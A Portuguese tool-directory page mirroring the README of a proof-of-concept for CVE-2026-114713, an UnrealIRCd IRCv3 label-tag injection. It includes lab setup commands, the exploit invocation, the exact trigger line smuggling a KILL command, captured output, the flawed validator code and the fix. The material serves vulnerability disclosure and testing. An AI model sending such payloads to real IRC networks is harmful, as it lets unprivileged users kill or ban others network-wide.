Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-114713-POC — POC para CVE-2026-114713 - injeção de label-tag do IRCv3 no UnrealIRCd, escalando uma mensagem de cliente sem privilégios para autoridade de comando servidor-a-servidor em redes com servidores interligados. Controles para a versão vulnerável 6.2.7 vs. a versão corrigida 6.2.7.1 incluídos. | Kitploit
Ferramentas/GitHubGitHub/fixedbyreboot/cve-2026-114713-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança de Rede
GitHubfixedbyreboot/cve-2026-114713-poc

CVE-2026-114713-POC

Ver Repositório
há 8 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    707
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    430
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer é uma plataforma de código aberto de Gerenciamento de Acesso Privilegiado (PAM) que fornece às equipes de DevOps e TI acesso seguro e sob demanda a endpoints SSH, RDP, Kubernetes, Banco de Dados e RemoteApp através de um navegador web.

    402
  • 5

    SafeLine

    chaitin/safeline

    WAF auto-hospedado e proxy reverso que filtra tráfego HTTP malicioso, bloqueia injeção SQL, XSS e ataques de bots, com limitação de taxa e criptografia dinâmica de HTML/JS.

    349
  • 6

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    341

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

POC para CVE-2026-114713 - injeção de label-tag do IRCv3 no UnrealIRCd, escalando uma mensagem de cliente sem privilégios para autoridade de comando servidor-a-servidor em redes com servidores interligados. Controles para a versão vulnerável 6.2.7 vs. a versão corrigida 6.2.7.1 incluídos.

Compartilhar

CVE-2026-114713 - Injeção de label-tag do IRCv3 do UnrealIRCd em comandos de autoridade do servidor

Language CVSS 8.6 High Affected 6.0.0--6.2.7 Status verified 2026-11-14 Advisory GHSA-237f-p9h6-wq4r License MIT

O módulo labeled-response ecoa a message-tag "label" do IRCv3 fornecida pelo cliente nas respostas sem escapar. Um valor de label contendo uma nova linha chega como o escape de tag padrão do IRCv3 \n, que o servidor desescapa para um LF real e então grava de volta em bruto. Quando a requisição rotulada é encaminhada para outro servidor (um WHOIS <server> <nick> com dois parâmetros faz exatamente isso), a resposta atravessa o link servidor-a-servidor carregando esse LF em bruto. O servidor receptor analisa uma linha como duas, e a segunda linha - texto escolhido pelo atacante colado à resposta - é executada como um comando enviado por seu par confiável. No IRC, uma mensagem vinda de um servidor vinculado ignora as verificações de privilégio aplicadas aos clientes, então um usuário comum pode executar KILL, GLINE e outros comandos exclusivos de servidor/IRCOp em toda a rede com uma única mensagem de cliente. Corrigido em 6.2.7.1 e no hot-patch bundle-20261107; listado no KEV em 2026-11-13 e explorado ativamente.

  • Afetado: UnrealIRCd 6.0.0 - 6.2.7. Pré-condição: uma rede com dois ou mais servidores vinculados; uma instalação de servidor único não executa a linha injetada (a execução de controle abaixo declara isso honestamente). UnrealIRCd 5.x (EOL) também é afetado.
  • Corrigido: 6.2.7.1, ou hot-patch bundle-20261107 em 6.0.0 - 6.2.7 (sem reinício)
  • CVSS 3.1: 8.6 Alto (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N)
  • CWE-140: neutralização inadequada de delimitadores (a injeção de CRLF do CWE-93 acompanha a mesma falha no aviso da Red Hat)
  • Aviso: Fóruns do UnrealIRCd, GHSA-237f-p9h6-wq4r, oss-security
  • KEV: adicionado em 2026-11-13, prazo federal de remediação 2026-11-16

Uso

Suba o laboratório (dois servidores vulneráveis vinculados em 127.0.0.1:6667/6668, a mesma topologia em 6.2.7.1, além de um controle de servidor único):

./setup/build-lab.sh            # builds 6.2.7 + 6.2.7.1 from the official tarballs
./setup/boot-lab.sh             # boots hub, leaf, single, fixed-hub, fixed-leaf
# or: docker compose up -d vuln-hub vuln-leaf vuln-single fixed-hub fixed-leaf

Dispare o gatilho (atacante e vítima na leaf, alvo do WHOIS no hub):

python3 poc.py --host 127.0.0.1 --port 6668 --hub-host 127.0.0.1 --hub-port 6667

--host/--port é a leaf à qual o atacante e a vítima se conectam; --hub-host/--hub-port é o servidor remoto que contém o alvo do WHOIS; --whois-server é o nome usado no WHOIS roteado. Controles: a mesma entrada contra a rede corrigida (--port 6678 --hub-port 6677) e contra um único servidor (--host 127.0.0.1 --port 6687 --single --whois-server single.example.net). Aponte isto apenas para servidores IRC que você possui.

Saída esperada

Execução do gatilho contra a rede vulnerável vinculada (captura bruta: evidence/01-vulnerable-linked-network-trigger.txt). Primeiro a pré-verificação - o mesmo KILL enviado diretamente é rejeitado, provando que o atacante não tem direitos de operador:

--- atk(attacker) raw traffic ---
KILL vic :direct-attempt
:leaf.example.net 481 atk :Permission Denied- You do not have the correct IRC operator privileges

Depois uma linha rotulada (escapes de tag mostrados como enviados no fio):

[*] trigger line (wire bytes): b'@label=p\\nKILL\\svic\\s:CVE-2026-114713 WHOIS hub.example.net wt\r\n'

O socket da vítima - encerrado por um comando atribuído ao SERVER remoto:

--- vic(kill-victim) raw traffic ---
:hub.example.net KILL vic :CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response
ERROR :Closing Link: vic[localhost] (Killed by hub.example.net (CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response))

[*] verdict
[!] VULNERABLE: victim 'vic' was killed by a command that arrived
    attributed to the remote SERVER - authority no IRC user has.

O log do servidor no host da vítima identifica o assassino como um servidor (evidence/04-server-log-detection.txt):

leaf.example.net kill.KILL_COMMAND info: Client killed: vic!vic@localhost [by: hub.example.net] (CVE-2026-114713 ...)

Controle A - mesma entrada na rede vinculada corrigida 6.2.7.1 (evidence/02-control-fixed-6.2.7.1-linked-network.txt): o valor do rótulo contém uma nova linha, então a correção rejeita a tag inteira; os numéricos do WHOIS voltam como linhas simples sem rótulo e a vítima permanece online:

:hub.example.net 311 atk wt wt Clk-BF919CEF * wt
:hub.example.net 318 atk wt :End of /WHOIS list.
[=] NO server-authority execution observed (victim still online).

Controle B - mesma entrada em um único servidor vulnerável, sem links (evidence/03-control-single-server-precondition.txt): o rótulo não escapado é apenas gravado de volta no próprio socket do atacante; nada é executado:

[=] CONTROL HOLDS (single-server): no server-authority command executed.

Por que funciona

Três peças se alinham em src/modules/labeled-response.c:

  1. Os valores de tag são desescapados no recebimento (message_tag_unescape() em src/modules/message-tags.c mapeia os escapes IRCv3 \n \r \s \: para LF/CR/espaço/ponto e vírgula reais). O cliente nunca envia uma nova linha bruta; o servidor a fabrica a partir de dois bytes imprimíveis.

  2. Na 6.2.7 o validador de tags aceita qualquer coisa que um cliente com cap envie até 64 bytes - não há verificação de caracteres no valor:

    int labeled_response_mtag_is_ok(Client *client, const char *name, const char *value)
    {
            if (BadPtr(value))
                    return 0;
    
            if (IsServer(client))
                    return 1;
            ...
            if (strlen(value) <= 64)
                    return 1;
    
  3. O módulo então formata esse valor armazenado em linhas de resposta com chamadas snprintf brutas - gen_start_batch() constrói "@label=%s :%s BATCH +%s labeled-response", lr_post_command() builds "@label=%s%s%s" - contornando message_tag_escape(), que todos os outros caminhos de saída usam. Para uma resposta roteada a um cliente remoto com rótulo, lr_packet() grava este buffer no link do servidor, então o LF dentro do rótulo divide o fluxo no par confiável: a linha um é um segmento de tag @label=p curto e inofensivo, a linha dois é o que quer que o atacante tenha anexado, executado como um comando do servidor vinculado. O WHOIS de dois parâmetros é o veículo mais limpo porque encaminha para o servidor do alvo e garante uma resposta com rótulo de volta pelo link.

A correção da 6.2.7.1 é exatamente a verificação ausente (primeiro trecho do diff da versão):

   if (strpbrk(value, " ;\\\r\n"))
           return 0;

Qualquer rótulo contendo espaço, ponto e vírgula, barra invertida, CR ou LF é descartado antes de ser armazenado, então nenhum byte não escapável chega ao formatador de resposta.

Notas

Baixar ferramenta